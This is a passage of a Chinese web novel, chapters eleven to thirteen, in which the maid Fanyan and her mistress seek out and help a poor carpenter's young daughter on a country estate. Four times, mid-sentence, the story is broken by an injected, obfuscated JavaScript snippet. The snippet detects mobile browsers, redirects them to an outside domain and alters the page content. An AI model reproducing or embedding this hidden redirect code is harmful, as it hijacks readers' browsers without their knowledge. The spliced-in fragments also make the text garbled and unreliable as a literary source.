“好极了！”歆荣报以相同的赞叹，“起初看它如此年幼，又如此高大，我心里难免有些慌，怕驾驭不住。想不到它这般聪慧，竟是我小瞧了它。” 她放眼远眺枫林，天光云影亦同映入眼眸：“这天地，骑在马上来看，仿佛更开阔了。” 薛盟顺着她的目光望去，层叠红叶如霞又如澜，涤荡出一种奇异的美。 “秋色如酒，醉人也醉马。”他神态惬意，轻拍了拍胯|下老友：“走！” 二人便信马由缰，沿着草场边缘缓行，极富韵律的马蹄声伴着他们时断时续的闲谈，却不复从前的客套疏离。 “真厉害…”十锦远远瞧着，小声赞叹起来，“我恐怕连马背都够不着。” “那有什么？”八红畅想着：“小白马通人性，多半会迁就咱们呢！” 七巧没不如这两个小的爱动，只留心到夫人的衣裙与这景致倒意外相得益彰，会意地抿嘴笑起来。 “唉，”她轻推了推梵烟，“你一会儿要试吗？若不想，咱们结伴走走去？” 梵烟没应声。她睡得不好，一时昏昏沉沉的，眼睛虽也看着，实际只捕捉到一团混沌的金红，像金乌驾着车向她驶来了—— “梵烟！”歆荣神采奕奕地停在她跟前：“来，与我同乘试试！” 梵烟仍怔着，被八红十锦催促着往马上拥：“姐姐别发呆呀！快去快去。” “姑…夫人…”梵烟喉咙有些发紧，看着歆荣伸到自己面前那只白皙的手，掌心尚有紧握缰绳过后留下的绯痕。 “不用怕。”歆荣以为她不敢：“这小马驹乖得很呢！且我也熟练了，定不会摔着你的。” 梵烟这才与歆荣亮晶晶的眼眸对视，细微颤抖的指尖在袖中蜷起又松开，终于抬起来，放在歆荣掌心。 歆荣粲然一笑，用力一握，不由分说地将她拉上马背，梵烟只来得及一踩马蹬，自己也不清楚自己是如何坐稳的，侧脸已贴在歆荣发间的菊簪上。 歆荣这才撒开她，随手摘了硌人的簪子抛给七巧，解释道：“你越犹疑，越腿软上不来，我只好出其不意啦，可别恼我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083090|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梵烟颊上飞红，手臂抱紧了她的腰，嗔道：“才不会。” 心神渐定，方才挺直了背脊，欲往周遭打量，原来薛盟不知何时也催马过来，斜坐鞍上，柔和地注视她们。 他知晓梵烟避嫌之心，便始终不曾出声惊扰，不过目光带着几分鼓舞，待她俩转身离开，自己也下了马，坐在树荫下徐徐饮茶。 偶然瞥见小丫头们眼巴巴地来回巡睃，薛盟忍不住一笑，索性又招来一名马倌：“来，你们几个且仔细听师傅教导。” 他原准备策马半日，下半晌自有别的安排，谁想歆荣梵烟二人大有一去不复返的意思，八红几人轮番玩累了，仍不见她俩回来。 薛盟不免生出几分担忧——虽说方圆近百里都在他名下，多处护卫巡视亦勤，但两个年轻女眷在外，实该多谨慎些。 他重上了马，再不闲庭漫步，疾驰而去。 所幸才进林子不久，歆荣梵烟的身影就出现了：许是骑乏了，两人都下地步行，连绳也不拉，任由小马驹跟在后面。 薛盟无奈，心里松了一口气，不便直呼夫人闺名，扬声只唤：“梵烟！” 专心交谈的二人总算抬头看向他，瞥见天色，微觉歉意：“当真是流连忘返，叫你们久等了。” 薛盟见她俩安然无恙，岂有半分可抱怨的？只管一道回去，无甚别话。 殊不知那二人在林中时，碰见一四五岁光景的小女孩子，背个草篓在地上摸索，野果菌蘑、草根枯枝，来者不拒地收入篓中。因为年小力弱，兼又喜不自胜，一时气喘吁吁，常手脚并用、在地上匍匐——仿佛流浪的小动物。 歆荣远远的便勒了马，回头与梵烟对视一眼，皆默然往林深处隐匿，以免惊扰到她。 那女孩蓬着头，衣绔上补丁叠补丁，脚上一双薄底洒鞋，但这或许已经是她顶好顶体面的一身穿戴了。 歆荣忽然觉得自己的钗环衫裙重逾千斤，又想起临行前九莺的那番话。 草篓不深，容纳有限，不过须臾，小姑娘已将它填满。歆荣回过神，正欲想法子访一访这是谁家的孩子，惊觉梵烟竟不在身边！ 女孩儿理了理背带，却因手脚发软，一时没能把草篓背起来。耽搁片刻，听到身后些微响动，慌忙回头，见是年画上的仙姑走出来了。 她想，自己是饿晕了吗？旋即，那仙女飘然到了近前，蹲下身，将一粒仙丹塞进自己口中。 她本能地嚼了嚼，是甜甜软软的。 仙女抚着她的脸蛋儿，温柔问：“你是谁家的孩子？你娘叫什么名字？” 她答不出来，摇了摇头。力气稍恢复了些，扭身就跑。 梵烟欲追，又怕逼得她慌不择路，反而不妥。 歆荣此时也走过来了，伸手搀她起身：“想是附近庄户家的小孩儿。这林子一向无人，出产倒多，可走兽总也有一些。怎么让这样小的姑娘独自进来呢？碰上凶猛的大兽怎么办？” “林子也是私产。大人闯进来采东西是犯禁的，换作小儿，贵人们兴许就宽宏不计较了。”梵烟心里明白，情绪上却惘惘的，越回忆越觉得那小姑娘模样极像自己四姐。 二人一路商议，歆荣显然有意不告知薛盟，以防横生枝节；梵烟则摇摆不定，不愿因一己私念多事——他们不过在别院待十天半月，而周遭庄户的百姓，却世世代代都寄居于此。 11. 十一 马场里撒欢时不觉得，回房歇了片刻，反觉得浑身酸痛起来。 八红十锦两个连声“唉哟”着互相捏肩捶腿，七巧便在一旁边嗑瓜子边笑：“不爱动弹自有不爱动弹的好处。我原说过的，偏你们不信。” 两个小的又是耍赖又是央告，活生生闹出好几十人的动静，一时也听不清说的什么。 少顷一个管事女人来回话，说家主预先吩咐的浴汤已备好了，舒筋活络最是见效，特问梵烟这会儿可要抬上来。 梵烟答应着，随手解下荷包缀着的一对金坠角给她：“我们人多，要烦你多跑几趟了。” 那坠角不过蚕豆大小，在内宅里是最不起眼的小饰物，图的是走动时泠泠微响而已。女人却不敢收：“这原是我们的本分，若还要拿一份赏，不成了欺主的刁奴？” “倒不是这个意思。”梵烟笑了笑：“正经是我私下有事托你。我们夫人因见秋日野趣难得，命我张罗着，改日也去庄户田野间采秋。偏我不识农桑，须得向嫂子讨教一二，若能亲领着我去庄户里看一看，那就更好了。” 女人爽快答应下来：“这有个什么？姑娘既拿我当个可用的人看，我自该尽心尽力。这就家去先知会他们预备起来，姑娘何时要看，使唤我一声就是。” 梵烟说：“我想着明儿一早就去，趁着日头不高，不慌不忙地，一户户细勘——如此也可周全些，路上平不平坦、沿途有无可赏可玩的、半道乏了可有遮阴歇脚的好地方…都得思量着。” 女人受教，忙不迭应着，说：“我们不曾近身伺候过，哪里知道这许多讲究？姑娘莫嫌我愚笨，凡事多吩咐我些。” 梵烟说：“这是哪里的话。”客套间水已经抬上来了，二人方才暂别过，各司其事。 歆荣泡过浴汤，筋骨松泛，越觉慵懒，连薛盟一同用饭的邀请也辞了，只散着发，披衣倚在薰炉边，与梵烟商议： “明儿我必要养精蓄锐一日的，你单独出去我不放心，让澜序再挑两个可靠的女人跟着。” 梵烟点头：“回来时捎些红叶做书签。” 一时七巧、八红、十锦进来，手里皆捧着个掐丝戗金瓜蝶纹大食盒，说是薛盟差人送上来的晚饭。 梵烟忙上前搭手，将里面碗碟在高几上摆开。 歆荣扫了一眼，见当中是一海碗雪白羊汤热气氤氲，便道：“你们都分一些。温补气血的，正好消乏。” 因她长年着意潜移默化，小丫头们对这类腥膻食物倒不十分抗拒，既然有裨益，捏鼻子一口气灌下去就是，总比药味儿强些。 唯梵烟消受不起这东西，仅拣了两块水晶鹅配饭，吃了半碗。 饭毕收拾一通，又洗漱过，八红十锦早已呵欠连天，铺床展被倒头睡下了。 七巧尚不困，忽又得了巧思，便在外间点了一盏灯，坐在暖榻上打络子。 内间，梵烟理好床帐，自摘了耳上丁香，放下玻璃镜罩，打开自己的箱子，打点明日要穿的衣裳。 歆荣坐在床沿，见她忙碌不歇，感慨道：“你这个人啊——他们都赞你心细如发，于人当然是好处，于己，却是动辄自苦了。” 梵烟闻言微怔，关好了箱笼，旋即低叹一声：“我运道好，来了这里，饱食终日，无所用心。偶然活动半天，也似如何娇贵起来了一般，变着法儿地滋补将息。却不知那些日夜劳作的佃户，御寒的棉衣备下了没有。” “这话倒像排揎我。”歆荣有心逗她开怀，拉了她到床边坐：“来，你试试我铺的这床，软和不软和？我是不是那百无一用的？” 梵烟忙说：“我实在没有这样的意思。姑娘难道不知道我？” “我自然知道的。你我之间，永远不必三缄其口，不必旁敲侧击。”歆荣正色起来，劝她：“老话说，穷通有数。咱们纵不能兼济天下，眼跟前遇上的，总可以略尽绵力。打明儿起，你只管放心去各处寻访，管事庄头这些人有名有姓，料想过得尚可；底下那些佃户，很可以搭一二句话。横竖你是替我去寻消遣的，又不是青天老爷微服私访，他们即便粉饰，也不至于严防死守。” 梵烟诺诺连声，心下方泰然几分，二人就寝不提。 翌日清晨，梵烟起来梳洗过，简单穿戴毕，推窗往外一看，薄雾尚未散尽，昨日那管事女人已在楼脚处候着了，身边另跟着两名健壮仆妇，便是澜序按着歆荣吩咐挑来的。 七巧上前道：“我去提热水，顺带替你告诉她们一声。” 梵烟道了谢：“天凉，请她们上来喝杯热茶，待我戴好了帷帽再走。” 七巧笑睨她：“属你最细致。”转身走了。 三个女人千恩万谢地上楼来，饮了热茶，等着梵烟收拾停当，一道出门。 管事女人夫家姓程，梵烟随众人叫她程二嫂子。一行人徐徐走着，梵烟随口问些庄子上的情形。 “这五六年都好。真龙天子平定了江山，果然风调雨顺，收成一年多过一年。”程二嫂道，“我那大伯子，原先就是侍弄庄稼的一把好手，年轻的时候世道乱、税重，越勤苦越过不下去，地也被越划越小。后来投奔到赞善这儿，渐渐才复了元气，将祖宗传下来的地重新理出来，之前那些佃户也多愿意继续赁他的田种——他租子定的又公道，又附在大家门下，强过那些跋扈爱盘剥的主家百倍。” 梵烟留意听着，暗道难怪。出了她们住的宅子，又行了一阵，来到最近的聚居庄子。 程二嫂提前交代过，几个管事的小头头早在村口迎候了，神情恭敬中透着几分局促，遥遥见了她们一行，作揖行礼个不住。 梵烟含笑道明来意，说：“地里正忙，我们沿路自个儿看看便是，不好扰了大家的生计。” 村道、田埂上的男女虽都有活计忙碌，但见她们走过，远远地便停下来垂手而立；偶有半大孩子或帮捡地上遗漏的谷穗，或前来送水送饭，也被父母拽住了强按在身后，生怕小儿淘气，冲撞了贵人。 梵烟的目光从那一张张皴红的小脸儿上掠过，见他们虽已染了劳作的风霜，但眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088278|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹很清亮，衣帽鞋袜也齐全，亦是爹娘宝爱着长大的。 “这一片都是张有福家包的。”程二嫂适时介绍，“他家三个儿子都是壮劳力，水田旱田种得满满当当，打下的粮食吃不完还有多余酿酒的呢…那边傍南坡的柿子园是李满仓家的，他家媳妇最巧，织得一手好布，若夫人愿意随喜随喜，倒是个去处。” 梵烟循着她所指望过去，果见红艳艳一片，煞是好看。目光移到北坡，却瞥见两间破旧低斜的茅屋，格外瞩目。 “那是赵长余家。”程二嫂压低了声音：“他儿子去岁干活时被毒蛇咬了，没等抬回家就咽了气。儿媳妇带着孙子孙女改了嫁，后头这男人也算厚道，给两老儿腾了个住处，平日也周济着…” 只是再是丰年，务农所得终究有限。老两口不能心安理得地白受外人的恩惠，自己也极力做些轻巧活计，此外靠着年节时主家赏下的粮米，勉强度日。 梵烟伫立着看了一回，对程二嫂道：“有现成的冬衣被褥先拿几套来，再派人修一修屋子。我知道这一向正忙，多加点儿工钱，动作快些才好，否则入了冬，越发不能住人了。” 程二嫂忙应下，一面着人去办，一面笑道：“夫人福泽深厚，身边又有姑娘这样心善的人，回头我说与他两口子知道，让他们在家给夫人和姑娘立长生牌位。” “这又是何必？”梵烟摆了摆手：“既然投在我们家主门下，这些照拂原是应当的。” 说着越性舍了坦道旁的齐整农舍，专往深处零散人户走。果然一连几家都是人丁不甚兴旺，老的老、小的小，或者流年不利，七病八灾的。见着主家来人，无不敬畏有加，有问必答，实在羞于启齿的，嗫嚅片刻，别开脸去偷偷抹泪。 梵烟心下恻然，一一替他们解难分忧，采秋探路的说辞全抛到了九霄云外。 直访到日头高悬，程二嫂赔笑道：“姑娘，暂且歇歇吧！前头便是我姨婆家，简陋归简陋，他们一贯极爱干净的，略用些茶食，避开了这个时辰，再看不迟。” 梵烟回过神来，含笑点了点头：“正好。届时夫人若高兴，也可尝一尝农家的新鲜菜蔬。” 程二嫂此时亦把她的心思揣度得了七八分，一面领路，一面又说：“其实咱们这一片，大体日子算颇过得了。四邻八舍相处融洽，少有为田边地角红脸干仗的。哪家一时短缺个什么，大伙儿能帮衬就帮衬一把。姑娘您想，像那赵家，老年丧子，放在外头怕已跟着去了，在咱们这里，虽略比别家清苦，但也不至于太凄凉了。” 梵烟领了她这番好意，因而忖度：难道昨日见的那女孩儿，竟不归府里管辖？ 暂不提她如何追问下去，且说薛盟这头，料理了一摊子俗务，来与歆荣说话。因问：“你们商量了什么新雅玩法，人手还够不够用？” 歆荣仍以“采秋”名目搪塞，出于礼节，少不得邀他届时同往，薛盟自是欣然应下。 七巧奉来茶点，薛盟不由得心念微动，暗想：好半日工夫，田埂上走着，岂不辛苦？ 12. 十二 下半晌实没多少可看了，诚如程二嫂所说，能在薛家的庄子劳作，外头多少人羡慕不来。 趁着天色尚亮，梵烟回到主宅，先拿了几吊钱犒劳程二嫂并两名仆妇，再将一概见闻细向歆荣说来。 “要是外头的人，便越难找到了。”歆荣纵是向来比梵烟心宽，一时也不由拧眉，片刻方松开，道：“不过今日仍算收货颇丰。不如这样，咱们多做些耐搁的糕饼，分作小包，连同小捆柴火、小袋米面都使得，散放在遇到那小姑娘的林间，且看她还来不来。此外，薛家应有年节及灾时赈贫济难的先例，我让他们拿旧年的账册来，找找线索。” 梵烟默然听罢，心中五味杂陈，自知并没有更好的办法，却不知要费多久工夫，唯能答应着。又自手绢里取出下午特意收集的枫叶、松果等，与歆荣瞧个新鲜。 二人轮番把玩了一会儿，喁喁商量一回，歆荣便让七巧去知会厨房，重阳将至，这几日多预备些点心；梵烟明早再找程二嫂要账册。 少时，梵烟下楼收新洗过的手帕子。因心中郁郁，情不自禁在树影下徘徊，择了一处僻静地方坐下。 她被领进贺家时年纪尚小，对衣食上的捉襟见肘记忆并不深，直到这两日，方知道“民生疾苦”四个字落在地上，原来是这样的。 如果那小女孩果真跟四姐有渊源，会是她的女儿吗？她嫁了人？遭了什么变故，以致如此艰难？爹娘呢？ 抑或未必有如此巧合，不过是自己牵强附会而已。毕竟，她已经离开家人太久了，甚至有些记不清他们的脸。 零星的萤火虫飞绕在梵烟身边，似是不忍见她孤零零独坐一般，渐渐聚拢了，居然温暖耀目起来—— 不，不止是萤火虫。余光里一盏灯徐徐靠近来，梵烟回头：提着灯的人是薛盟。 薛盟其实比她更先来此处，原本闷坐着不想被人扰，偏偏梵烟心神不属，走过来时并未发觉他。薛盟见她形容，极该避开，不知怎么，终究没挪脚。默然站了一刻，担心骤然现身吓到她，先将手里的灯打头阵。 梵烟连忙起身，朝他福了福，一时也没有什么话可说。 薛盟自觉不宜多嘴，开口探问也未必能得她肺腑之言，径直离开反是尊重的意思。 手中的琉璃灯随他的动作轻微晃了晃，俄而到底静止下来：“姑娘今日想是劳累了？还是有什么心事？” 梵烟勉力展颜，无论他是否留心：“确实有些走乏了，一个人呆一阵，这就回去了。” 薛盟点头称是，“既如此，是该早些休息。有多少事儿，明日再论也没什么了不得。” 梵烟低头欲退，脚下却像陷在泥沼里一般，踟蹰难行——她能向眼前这个人坦白吗？能求助于他吗？ 他比她们都有更大的权力，她们辗转迂回不能及的，兴许于他而言易如反掌。 但他为什么要施以援手呢？一个婢子的脸面、央告，值得他多费精神去办吗？ 前思后想，她下了决断：她要去说服歆荣。 薛盟见她这般，亦属意料之中，待她离开，方低低叹了口气。 不料这叹息竟传入梵烟耳中，令她去而复返：“赞善，我有一事相求，自知僭越，只求赞善发落我一人。” 她鼓足了勇气，细述昨日林中所见，略过女童采摘一节，只谈她衣衫褴褛、幼小无依，着实令人不能不担忧。 “林子里没有猛兽，体格最大也不过野鹿。这点你放心。”薛盟耐心等她说完、又竭力按捺住了情绪，这才开口：“据我所知，庄户里没有谁家合得上你所说。河滩对岸倒有几家猎户、货郎、木匠之类，因为不靠种田为生，与咱们这儿不大相干。明早我便让人挨户打探去，实在不难。” “实在不难”四个字落地，梵烟反而像被抽尽了浑身力气似的，几乎站不稳当。强抑着发抖，再度向薛盟深深福礼相谢。 薛盟只微微含了一点笑，怜她之余，更有点难以言明的意动，好一阵，才忽然唤了声“梵烟”，究竟也没说出什么来，眼里笑意更深、更朗然些：“快回去吧。” 次日，歆荣与梵烟一块儿早早起来，等候外面的消息。 直近中晌，方听见说澜序来了，身旁还跟着个四五岁的小姑娘。 梵烟连忙走到栏杆前，催他上楼，又问：“你怎么就把她带来了？” 澜序摘了软帽，抹了两把汗才重新戴正，见歆荣也走了出来，忙行了个礼，才道：“爷一说，我就猜着是她。果不其然，今早一到河滩，就见她又过来了，索性领了她来见夫人。” 见她主仆俩且惊且疑，澜序接着解释起来：“她是对岸曾木匠的闺女。曾木匠有门手艺，早年间家里还过得，后来被木料砸断了一条腿，大件儿做不动了，只能做些小玩意儿，托隔壁货郎担去捎带售卖。她倒机灵得很，晓得给自家寻口粮。府里修宅子的时候我常来盯着，同她算是熟脸儿。”私底下也给她些吃的用的，不过因为见多了，没当回事儿，不曾禀给薛盟。 小姑娘垂着头不吱声，只拿眼睛偷偷打量澜序回话的这两人，片刻，认出梵烟来，想了想，慢慢走到她面前，“扑通”跪了下来。 梵烟始回神，弯腰拉了她小手，让她起来，见她仍是那身衣裳，黄黄头发越蓬了，顿时眼眶涩然，轻声道：“前日见你那背篓可爱，有心问问你是从何处挑来的，如今想来，可是你爹爹为你做的？” 小姑娘摇头：“我爹爹会刨木头，不会编草篓。这是我自己做的。” “真是了不得。”梵烟笑赞，“你几岁了？” “六岁。” 委实没看出来。盖因她身量太瘦弱了。 歆荣旁观片刻，暗想：她虽小，但家里的担子担了大半，一副要强模样，实不该当个懵懂幼童待。 便问：“你这篓子花样巧，只不知再小许多的能不能编？譬如装蝈蝈的？” “我都能编。”小姑娘忙道：“不止篓子，像檐下挂的风铃、能迎风开屏的孔雀、撒鱼食的小船儿…贵人别嫌拙，搁在这些别院里正合适呢。” 歆荣笑起来：“那好，你随我过来坐，我要的东西多，须细说给你。” 梵烟见机，暗揾了揾眼角，叮嘱澜序：“该着人去她家里一趟，省得她爹爹一时着急。” “姑娘放心，我是那没成算的人吗？”澜序有意说两句俏皮话，“说实在的，连我都没见过她露这一手呢！” 梵烟漫点了点头：“她娘亲呢？” “生下她就没了。”澜序尽力平淡的一句话，换来的却是梵烟霎时灰白了脸—— 哪怕已知这孩子不会是姐姐的骨肉，她寻亲的希翼注定成空。 她仍痛心这命途的多舛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102535|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名唤荟儿的小姑娘与歆荣相谈渐欢，梵烟则守在屋外，凭栏出神。 澜序迟疑了会儿，悄没声儿下了楼，使人驾来辆骡车候着，又包了好些米面、柴火、棉布等物，俱堆在车厢里。 等荟儿再下来时，头发已梳得光整了，扎了两个鬏儿，别了两串桂花，脸上也有了笑意，由梵烟拉着，走到骡车前。 “今日不早了，我先送你回家去。夫人也说不急在这一两日，你慢慢将会编的编几样来。”梵烟护着她上车坐稳了，自己跟着进去。澜序打发了车夫，自己亲赶起车来。 车厢中再无旁人，梵烟方将一只小布袋塞在荟儿怀里：“这一吊钱是定金。你自己省得，放在稳当地方。” 荟儿没推辞，两手握紧了袋子，定定凝视梵烟片刻，浓密的睫毛扑闪了两下，说：“我爹刻的梳子好用极了，黄杨木的、檀木的，有牡丹还有凤凰…姐姐，我送给你一把好不好？我爹刻得可好了！” 梵烟瞥见她无意识绞在一起的指头，心头蓦地一软，唇角绽出一个温煦的笑：“好。”情难自抑，又伸手摸了摸她额前的碎发。 荟儿亦罕少体会这种来自女子的温情，小小的身躯不知不觉向梵烟靠拢。 骡车吱呀呀碾过土路，行驶渐缓，徐徐上了河滩上的木板桥，对岸几间疏落的棚屋出现在眼前。 澜序熟练地勒住骡子，将车停在一家靠墙堆有边角木料的房跟前。 屋内有断断续续的敲击木头声，偶尔夹杂一二压抑的咳嗽。 车厢门打开，荟儿先跳了下来，归巢的乳燕一般，小跑着冲到门口，推门唤：“爹爹！我回来了…” 敲击声戛然而止。梵烟紧跟着进去，就看见一个褂上沾着木屑的佝偻男人，斜倚床架站着，弯腰打磨一只橱柜。因为一条腿使不上力，隔一阵就必须用肘弯狠狠撑一把土墙，艰难维持着身体的平衡。 他听见荟儿的声音，抬起眼皮，目光却没落在女儿身上，而是戒备又惶然地打量气度不凡的梵烟、青衫小帽的澜序，以及门外那辆骡车。 他突然丢下手中的锉刀与砂布，倾身欲将荟儿拉到自己身边，但残废的腿不抵用，一个趔趄，险些摔倒在地。只能死死地攥住床架，胸膛剧烈地起伏，在女儿与梵烟二人间来回地扫视，最后放弃了支撑，也放弃了颜面，“咚”一声投地向梵烟磕头：“我不卖她！我不卖她！贵人，求您发发慈悲！别带走这丫头，她还这么小！” “爹！”荟儿连忙上前，一边试图扶起他，一边急于分说：“不是的…” 澜序“唉哟”一声，赶紧搭手，将人架到床边儿歇着：“曾师傅，你这误会可太大了…”竹筒倒豆子似的，将今日之事一五一十说来。 曾木匠瘫坐在地上。绝处逢生的境遇让他一概力气都失尽了，求告后的嗓子越加嘶哑，一时咳嗽不住。 梵烟环顾四周，屋中其实还算干净，空气里是淡淡的木屑味，混着药气；唯独太简陋了：一架旧床、一张矮桌、一条长凳。 她试图开口，稍缓这令人窒息的局促，但终究没能作声，索性走出去，让先前捎信的薛家仆人将车上的东西搬进屋。 应当与荟儿好好道个别的。她心里这样想道，但人坐在车里，再没露脸。 骡车复又吱呀呀地碾过归途，回到她所熟知的雕甍绣槛中去。 13. 十三 澜序返来时，袖里已揣上了荟儿特意交托的一把凤穿牡丹檀木梳，要他送给梵烟姐姐。 因时辰不早，女眷们想必该安置了，他不便再过去，先回薛盟这边复命，说梵烟所寻的人已找到了，旁的并不赘述。 心里暗想，这小姑娘机灵归机灵，到底囿于年纪，行事尚稚嫩——谢礼只有梵烟的，却没有夫人的一份。少不得他明日支开旁人，单独给她。 悄悄琢磨一回，见薛盟无话，澜序正要退下，不防这位爷又开了口：“你瞧着，那小姑娘有甚特殊之处？” 澜序一愣，仔细回想片刻，觑着薛盟的神色道：“除了伶俐点儿，倒像没什么特别…不过对岸那几家确实拮据些，夫人她们何曾见过这样的光景，动了恻隐之心也算常情。” 薛盟不以为然：歆荣可没为此事来找他。 他挥退了澜序，自走进内室就寝。忽然想到，梵烟是如何到了贺家的？ 从前他全没留意过这些事。贺家世代簪缨，不同于他们这一类“新贵”，府里若有些家生子再正寻常不过——但梵烟仿佛不是。 树影里孑然独坐的身影再度浮现在薛盟眼前，他不禁想，他若能陪着她坐一会儿，就好了。 “…既然送给你，你好生收藏就是。”歆荣一笑：“这个澜序，保准是属莲蓬的，心眼子忒多。” 梵烟抚了抚木梳上的花纹，亦笑：“没有你，这件事原不能成。他也是怕伤了你的心。” 换来歆荣一记斜睨：“少说这些话吧！荟儿实该谢你一个，你呢，实该谢那一个。” 梵烟本还感怀，遭她一臊，坐也不是，立也不是，连说了两回“你”，偏没了下文，一时连梳子也搁下了，转身便往外走。 “唉…”歆荣忙拦住她，嘴上犹不饶人：“我怎么？我难道说的不是正经道理？” 梵烟被她堵住了去路，躲也无法躲，唯能两只手捂着脸，只说：“不听，不听。” 见她这副情态，歆荣不知联想到什么，“噗嗤”乐出声来，余光扫过桌上的檀木梳，转而暗叹—— 凤穿牡丹不仅是富贵纹样，亦有夫妇和睦的隐喻。 因与荟儿约定了三日后再接她来，嬉闹一回，梵烟便又忙起了翻箱倒柜，要给荟儿东西。 歆荣自己斟了杯热茶，慢慢啜着，见她又挑小袄，又叠棉被，还想把现有的糕点匣子打成包，便说：“照我看，这些东西竟都不必给。一则颜色花样皆太惹眼，万一招了歹人惦记呢？就是正经附在薛家门下的那些庄户，偶然知晓了，只怕也要生出不平来。二则，你看那荟儿，极是个有主见的，如今有了进项，该添置的，她们父女自然知道添置。” 梵烟想了一想，莞尔：“是这个道理。” 接着说：“授人以鱼，莫若授人以渔。我只是想，咱们总归不会一直住在这里，将来回去了，又如何照应她？” 歆荣沉吟片刻，道：“我这回是当真正经说的，你不许再恼——要么专派一个人在这儿不时看顾，要么正经替曾木匠寻个门路，横竖必得经薛盟的首肯，方能稳当。一事不烦二主，你既然她们父女放在心上，就亲去与薛盟商议，图个周全，再顺带谢他，岂不两全其美？” “理固然是这么个理。”事已至此，梵烟不得不坦白：“可我一个下人，拿什么去谢家主？说出去让人笑话。” “傻姑娘。”歆荣问：“你以为，他先前为甚答允你？” 梵烟不假思索：“原是他仁厚，我又沾了你的光。” 这纨绔膏粱竟也能得个“仁厚”评语。歆荣略觉讥讽，对着梵烟，却不忍挑破，只道：“你自个儿定夺吧，别受我左右。” 这一日无事，八红、十锦两个跑外头撒欢去了；七巧新学了两笔画，正是技痒，亦往楼后亭榭中去绘山水。 唯梵烟因为歆荣那一番话，内里始终不自在。坐在窗下挽了半日丝线，到底没理出多少来。 这般畏葸不前，她自己实在说不清缘故。破釜沉舟似的，左右歆荣的话从不会错，何妨就依她所言？ 于是收了绣箩，即刻就走。也不同谁知会一声，免得一开口就泄了气。 到了薛盟这边，里外一个人也不见，寂静得异样。梵烟脚下微顿，就被不知从哪儿钻出来的澜序挡住了： “殿下来了。” 长公主此次可谓轻车简行，一应仪仗不设，一切随从不带，故而除去薛盟与澜序等两三个心腹，旁人竟一点儿风声不知。 梵烟暗觉事关重大，自己还是改天再来为妥，不想澜序胆子倒大，压低了声音笑道：“姑娘只管坐下吃杯茶。料想今日没什么要紧话了，少时我觑空给姑娘通禀一声，哪能叫你白走一趟？” 梵烟仍欲回拒，恰逢房门开了，长公主一身便服，边往外走边拿手帕拭眼睛，薛盟跟着相送，云淡风轻笑着，似是正随口安抚。 母子俩瞧过来，这边二人连忙行礼。长公主的目光立即钉在梵烟身上，先前的慈母心肠不由敛回片刻，复又软下来，回头叮嘱薛盟：“罢了，你穿得单，不必再送。我多住一日，过了重阳，大伙儿一道回去。” 薛盟称“是”，拱手行了礼，让澜序好生送母亲到下处。 梵烟深知不得长公主待见，哪敢出头，跟着又蹲一回福，屏气敛息待这位殿下走远了，才慢慢抬起头。 薛盟对这片刻的暗涌洞若观火，唯有些好笑，冲梵烟招了招手：“正好有才送来的参芪野鸡汤，分你一碗压惊。” 澜序闻言捂嘴偷乐，梵烟却听出两分端倪，蹙眉问：“赞善的伤还没痊愈？” 薛盟摇头：“我不装得可怜些，如何哄得母亲心软？从前些许隔阂，总存在心底也不像样儿。” 说着便请梵烟在茶案前坐，自己接过澜序递来的大衣裳穿上，又道：“明日设重阳宴，你们有什么想吃的、想玩的，都只管驱使我。尽兴一场，转天就得回去了。” 他在梵烟对过落座，目光扫及瓷盅里热气氤氲的药膳，不必入口，已觉腻味，自己举起茶杯解秽，却一意撺掇梵烟进补。 梵烟本也不愿喝， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111431|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兼着两分劝和之心：“这是殿下一片慈心，我怎敢擅专？论起来，赞善养伤一事瞒着殿下，本与瞒着夫人是一样的苦心，不巧的是，中秋那夜…母子原没有隔夜仇，如今殿下纡尊降贵，亲来探望赞善，那再没有丝毫不好了。” 薛盟闻言笑了笑，略一挥手示意澜序把汤撤下去。冲梵烟一挑眉：“那个惹事的面首，我杀了他。” 